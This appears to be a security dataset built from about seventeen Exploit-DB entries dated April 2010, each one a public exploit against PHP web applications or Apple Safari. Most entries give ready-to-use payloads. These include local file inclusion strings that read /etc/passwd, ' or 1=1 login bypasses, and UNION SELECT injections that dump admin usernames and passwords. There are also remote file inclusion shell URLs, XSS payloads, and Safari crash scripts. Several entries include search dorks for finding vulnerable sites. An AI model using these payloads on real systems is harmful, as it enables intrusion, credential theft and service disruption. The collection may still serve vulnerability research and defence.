QLWD/code_shield huggingface dataset:
标题: Joomla! Component NoticeBoard 1.3 - Local File Inclusion EDB-ID: 12427 CVE: 2010-1658 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component NoticeBoard Local File Inclusion Vulnerability
 
       Software : com_noticeboard version 1.3
       Vendor   : http://www.code-garage.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_noticeboard&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 27 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12427
标题: Joomla! Component SmartSite 1.0.0 - Local File Inclusion EDB-ID: 12428 CVE: 2010-1657 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: ===============================================================================================================


  [o] Joomla Component SmartSite Local File Inclusion Vulnerability
 
       Software : com_smartsite
       Vendor   : http://www.smartsite.su/
       Author   : AntiSecurity [ s4va NoGe Vrs-hCk OoN_BoY Paman zxvf ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_smartsite&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_smartsite&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===============================================================================================================


  [o] April 27 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12428
标题: 2DayBiz Auction Script - Authentication Bypass EDB-ID: 12414 CVE: 2010-1706 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: Authentication bypass in 2daybiz Auction Script
                            Vendor:http://www.2daybiz.com/
   _______________________Author:Sid3^effects aKa haRi_________________________________
  

Description :

  2daybiz Auction Script provides everything you need, to establish a professionally looking online Auction website like Ebay.com. You can create an efficient, trusted web platform to connect small and medium-sized buyers and suppliers from all around the world. 
 

script cost :$140
---------------------------------------------------------------------------
 * Authentication bypass:

 The following script has authentication bypass.

 use ' or 1=1 or ''=' in both login and password.

DEMO URL  :http://server/auction/index.php


ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--MaYuR-- URL: https://www.exploit-db.com/exploits/12414
标题: Joomla! Component Ultimate Portfolio 1.0 - Local File Inclusion EDB-ID: 12426 CVE: 2010-1659 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: =======================================================================================================================


  [o] Joomla Component Ultimate Portfolio Local File Inclusion Vulnerability
 
       Software : com_ultimateportfolio version 1.0
       Vendor   : http://webkul.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=======================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_ultimateportfolio&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_ultimateportfolio&controller=../../../../../../../../../../etc/passwd%00


=======================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=======================================================================================================================


  [o] April 27 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12426
标题: Infocus Real Estate Enterprise Edition Script - Authentication Bypass EDB-ID: 12415 CVE: 2010-1654 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: Authentication bypass in Infocus Real Estate Enterprise Edition script
                                   Vendor:www.instantrankingseo.com _______________________Author:Sid3^effects aKa haRi____________________________
 

Description :

Infocus Real Estate Enterprise Edition, is a complete power packed script with tons of powerful features. You can now have your own Real Estate Script similar to 99acres.com, makaan.com or magicbricks.com. The script is very handy and completely customizable. Below are some of the outstanding features of this script.


---------------------------------------------------------------------------
    * Authentication bypass:

    The following script has authentication bypass.

    use ' or 1=1 or ''=' in both login and password.



ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--MaYuR-- URL: https://www.exploit-db.com/exploits/12415
标题: PHP Quick Arcade 3.0.21 - Multiple Vulnerabilities EDB-ID: 12416 CVE: 2010-1662 2010-1661 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: PHP Quick Arcade 3.0.21 Multiple Vulnerabilites
-----------------------------------------------------------
#Title: PHP-Quick-Arcade 3.0.21 Multiple Vulnerabilites
#Vendor: http://quickarcade.jcink.com/
-----------------------------------------------------------
#AUTHOR: ITSecTeam
#Email: Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum : http://forum.ITSecTeam.com
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability47.htm
#Thanks: Pejvak,M3hr@n.s,r3dm0v3,am!rkh@n
-----------------------------------------------------------
# POC 1
-----------------------------------------------------------
www.Site.com/Arcade.php
Send Your Query With Cookie => phpqa_user_c
phpqa_user_c= Sql Injection
Can Use tamper data in mozila
-----------------------------------------------------------
# POC 2
-----------------------------------------------------------
This Bug Worked With Register_Global = On
www.Site.com/acpmoderate.php?id=Sql Injection
-----------------------------------------------------------
# POC 3
-----------------------------------------------------------
Cross Site Scripting (XSS)
www.Site.com/acpmoderate.php?serv=Xss Code URL: https://www.exploit-db.com/exploits/12416
标题: Webkit (Apple Safari 4.0.5) - Blink Tag Stack Exhaustion Denial of Service EDB-ID: 12425 CVE: 2010-0050 类型: DOS 平台: WINDOWS 发布日期: 2010-04-27 漏洞利用脚本: <html>
<script>
loop1();
    var a = "<blink>";
function loop1()
{
 document.write(a);
    setInterval(loop2,0);
}
function loop2()
{
 document.write(a);
 setInterval(loop1,0);
}
</script>
<body>
Webkit (Safari) Stack Exhaustion DoS
Found By: Dr_IDE
Credit To: Mattias Karlsson
Reference: http://www.exploit-db.com/exploits/12401
Tested On: Windows 7 + Safari 4.0.5
</body>
</html> URL: https://www.exploit-db.com/exploits/12425
标题: Kasseler CMS 2.0.5 - Bypass / Download Backup EDB-ID: 12402 CVE: 2009-4822 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-26 漏洞利用脚本: ========================================================================================                  
| # Title    : kasseler cms 2.0.5 => by Pass / Download Backup Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                                                                                                                                    
| # Dork     : Copyright ©2007-2009 by Kasseler CMS. All rights reserved.                                                                                                                
| # Tested on: windows SP2 Français V.(Pnx2 2.0)        
| # Bug      : Backup     
                                                            
======================      Exploit By indoushka       =================================
# Exploit  :  

1 - http://127.0.0.1/kasseler/backup.php

File size: 37.38 KB
Tables processed: 39
Rows processed: 37

2 - http://127.0.0.1/uploads/backup/auto_2010-04-27_14-29.sql

in lig 645:668 col 1 you found the login information

INSERT INTO `kasseler_users` VALUES
(-1, 'guest', 'Guest', '', '', 'default.png', '0000-00-00 00:00:00', 'default', 0, '', '', '', '', '', 5, '', '0', '', '0000-00-00 00:00:00', '', '', '0000-00-00', 0, '', '', '', '', '', '', 0, -1, 0, 0, 0, 0, 0, 0, '', 0, 'MBzx97cQMjKQ47tJgil9PBQDr', 1, 0, 0, '0.00', 0, 1, NULL),
(1, 'admin', 'admin', 'admin@127.0.0.1', 'http://127.0.0.1/', 'admin.png', '2010-04-27 11:25:22', 'default', 2, NULL, NULL, NULL, NULL, 'd0970714757783e6cf17b26fb8e2298f', 1, NULL, '0.0.0.0', 'N/A', '0000-00-00 00:00:00', 'N/A', 'N/A', '0000-00-00', 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, 0, 0, 0, 0, 0, 0, NULL, 0, NULL, 1, 0, 0, '0.00', 0, 1, NULL);

3 - XSS :

http://127.0.0.1/index.php?online/<script>alert(213771818860)</script>

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : Exploit-db Team 
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------ URL: https://www.exploit-db.com/exploits/12402
标题: 2DayBiz Advanced Poll Script - Cross-Site Scripting / Authentication Bypass EDB-ID: 12395 CVE: 2010-1704 2010-1703 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-26 漏洞利用脚本: ______________________________________________________________________________
                         XSS and Authentication bypass in Advanced Poll Script
                                    Vendor:http://www.2daybiz.com/    ___________________________Author:Sid3^effects_________________________________
  

Description :

Advanced Poll is a polling system with powerful administration tool supports both text file and MySQL database. Its features include multiple polls, unlimited options, IP-Logging, IP-Locking, cookie support, comment feature, vote expire feature, and random poll support. 

script cost :$140
---------------------------------------------------------------------------
    * Authentication bypass:

    The following script has authentication bypass in the admin login as well as in user login 

    use ' or 1=1 or ''=' in both login and password.

user login  demo :http://server/polls/login.php
admin login demo: http://server/polls/admin/
---------------------------------------------------------------------------
    * XSS (cross site scripting ) :
       
    XSS is also found in the search field. 


 Attack Pattern: '"--> 

 DEMO:http://server/polls/index_search.php?category= [XSS]
---------------------------------------------------------------------------

ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--MayUr-- URL: https://www.exploit-db.com/exploits/12395
标题: Opencourrier 2.03beta - Local File Inclusion / Remote File Inclusion EDB-ID: 12398 CVE: 2010-1927 2010-1926 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-26 漏洞利用脚本: ===================================================================
Opencourrier 2.03beta (RFI/LFI) Multiple File Include Vulnerability
===================================================================

[+] Opencourrier 2.03beta (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4708/openmairie_courrier2_2.03beta.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://server/[path]/obj/bible.class.php?path_om=[Shell]
http://server/[path]/obj/dossier.class.php?pservice.class.phpcategorie.class.php?path_om=[Shell]
http://server/[path]/obj/collectivite.class.php?path_om=[Shell]
http://server/[path]/obj/droit.class.php?path_om=[Shell]
http://server/[path]/obj/tache.class.php?path_om=[Shell]
http://server/[path]/obj/emetteur.class.php?path_om=[Shell]
http://server/[path]/obj/utilisateur.class.php?path_om=[Shell]
http://server/[path]/obj/courrier.recherche.tab.class.php?path_om=[Shell]
http://server/[path]/obj/profil.class.php?path_om=[Shell]

[~] LFI:
http://server/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-26] URL: https://www.exploit-db.com/exploits/12398
标题: CMScout 2.08 - SQL Injection EDB-ID: 12407 CVE: 2010-5059 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-26 漏洞利用脚本: # Title: CMScout 2.08 SQL Injection Vulnerability
# EDB-ID: 
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dr.0rYX and Cr3w-DZ
# Published: 
# Verified: 
# Download Exploit Code
# Download N/A

  NNNN      NNNN        AAAAAA          SSSSSSSS      TTTTTTTTTTTT                                                
  NNNNNN    NNNN        AAAAAA        SSSSSSSSSSSS    TTTTTTTTTTTT                                                
  NNNNNN    NNNN      AAAA  AAAA      SSSS                TTTT          eeeeee        aaaaaa      mmmm  mm  mmmm  
  NNNNNNNN  NNNN      AAAA  AAAA      SSSSSSSSSS          TTTT        eeee  eeee    aaaa  aaaa    mmmmmmmmmmmmmmmm
  NNNN  NNNNNNNN    AAAA      AAAA        SSSSSSSS        TTTT        eeeeeeeeee        aaaaaa    mmmm  mmmm  mmmm
  NNNN    NNNNNN    AAAAAAAAAAAAAA            SSSS        TTTT        eeee          aaaa  aaaa    mmmm  mmmm  mmmm
  NNNN    NNNNNN    AAAAAAAAAAAAAA    SSSSSSSSSSSS        TTTT        eeeeeeeeee    aaaa  aaaa    mmmm  mmmm  mmmm
  NNNN      NNNN  AAAA          AAAA    SSSSSSSS          TTTT          eeeeee      aaaaaaaaaa    mmmm  mmmm  mmmm




                                ALGERIAN HACKER
  **********************- NORTH-AFRICA SECURITY TEAM -***********************
 
[!] Title     :  CMScout 2.08 SQL Injection Vulnerability
[!] Author    : Dr.0rYX and Cr3w-DZ
[!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de
 
***************************************************************************/
 
[ Software Information ]
 
[+] Vendor   : http://www.cmscout.za.net/
[+] script   : CMScout 2.08
[+] Download : http://www.cmscout.co.za/index.php?page=downloads&menuid=9
[+] Vulnerability : php SQL injection
[+] Dork :Powered by CMScout (c)2005 CMScout Group

 
**************************************************************************/
[ Vulnerable File ]
 
http://server/index.php?page=photos&album=[N.A.S.T ]
 
[ Exploit ]
 
http://server/index.php?page=photos&album=-1+UNION+ALL+SELECT+1,concat(uname,0x3a,passwd),3,4,5+from+sn_users--
 
 
 
[ Example  ]
 
http://[site]/index.php?page=photos&album=-1+UNION+ALL+SELECT+1,concat%28uname,0x3a,passwd%29,3,4,5+from+sn_users--
 
[  Greets ]
 
[+] :CLAW , exploit-db.com,all my friends.... URL: https://www.exploit-db.com/exploits/12407
标题: Joomla! Component JoomRadio 1.0 - SQL Injection EDB-ID: 12400 CVE: 2008-2633 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-26 漏洞利用脚本: Joomla Component com_joomradio SQL injection vulnerability

author:Mr.tro0oqy from  "community * college"

email:t.4@windowslive.com

greetz:alzomer,Mr.ksoory,my bb ;)

dork: inurl:index.php?option=com_joomradio

exp:

[site]/path/index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users-- URL: https://www.exploit-db.com/exploits/12400
标题: Apple Safari 4.0.5 (531.22.7) - Denial of Service EDB-ID: 12408 CVE: 2008-5821 类型: DOS 平台: WINDOWS 发布日期: 2010-04-26 漏洞利用脚本: #!/usr/bin/perl
# Safari 4.0.5 (531.22.7) Denial of Service
# Exploit Title: [Safari 4.0.5 (531.22.7) Denial of Service]
# Date: [2010-04-26]
# Author: [Xss mAn]
# Software Link: [http://www.apple.com/safari/download/]
# Version: [Safari 4.0.5 (531.22.7)]
# Tested on: [windows 7]
#Gr33t [2] : T-T34M
$headr1="<HTML>\n<style type=\"text\/css\"\>\n";
$headr2="\nbody {alink: "."A/" x 13333337 ."}\n";
$headr3="</style>\n</HTML>";
open(file ,'>>Crash.html');
print file $headr1.$headr2.$headr3;
close(file);
#perl 4 M3N ;) URL: https://www.exploit-db.com/exploits/12408
标题: FreeRealty(Free Real Estate Listing Software) - Authentication Bypass EDB-ID: 12411 CVE: 2010-1708 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-27 漏洞利用脚本: # Exploit Title: Authentication bypass in FreeRealty(Free Real Estate Listing Software)
# Date: 27-apr-2010
# Author: Sid3^effects
# Software Link: N/a
# CVE : []
# Code : []                   ______________________________________________________________________________                               Authentication bypass in FreeRealty
                       Vendor:http://freerealty.rwcinc.net/
      ___________________________Author:Sid3^effects_________________________________
  

Description :

 Free Realty  is primarily designed for real estate agents and offices to list properties on the internet. With Free Realty the end user does not need to be fluent in web page design.
 

script cost :Free
---------------------------------------------------------------------------
 * Authentication bypass:

 The following script has authentication bypass.

 use ' or 1=1 or ''=' in both login and password.

DEMO :http://[site]/demo/agentadmin.php


ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j-- URL: https://www.exploit-db.com/exploits/12411
标题: OpenCominterne 1.01 - Local File Inclusion EDB-ID: 12396 CVE: 2010-1936 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-26 漏洞利用脚本: ====================================================
OpenCominterne 1.01 Local File Include Vulnerability
====================================================

[+] OpenCominterne 1.01 Local File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/1569/openmairie_cominterne_1.01.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC: http://server/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-26] URL: https://www.exploit-db.com/exploits/12396
标题: Uiga Personal Portal - 'index.php' 'view' SQL Injection EDB-ID: 12399 CVE: 2010-1364 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-26 漏洞利用脚本: # Exploit Title: Uiga Personal Portal index.php (view) SQL Injection
Vulnerability
# Date: 27-4-2010
# Author: 41.w4r10r
# Software Link :
http://www.scriptdevelopers.net/download/uigapersonalportal.zip
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :
# Code :



Exploited Link :

http://[site]/uigaportal/index.php?view=ar_det&exhort=-36'

Examples :

http://[site]/product/demo/uigaportal/index.php?view=ar_det&exhort=-36+union+select+all+1,2,3,4,5,6,gr

oup_concat(admin_name,0x3a,admin_password),8,9,10,11+from+admin--

http://[site]/index.php?view=ar_det&exhort=-36+union+select+all+1,2,3,4,5,6,group_concat(admin_ema

il,0x3a,admin_password),8,9,10,11+from+tbl_admin--

Important: Sometimes the table name is administrators and sometimes its
admin URL: https://www.exploit-db.com/exploits/12399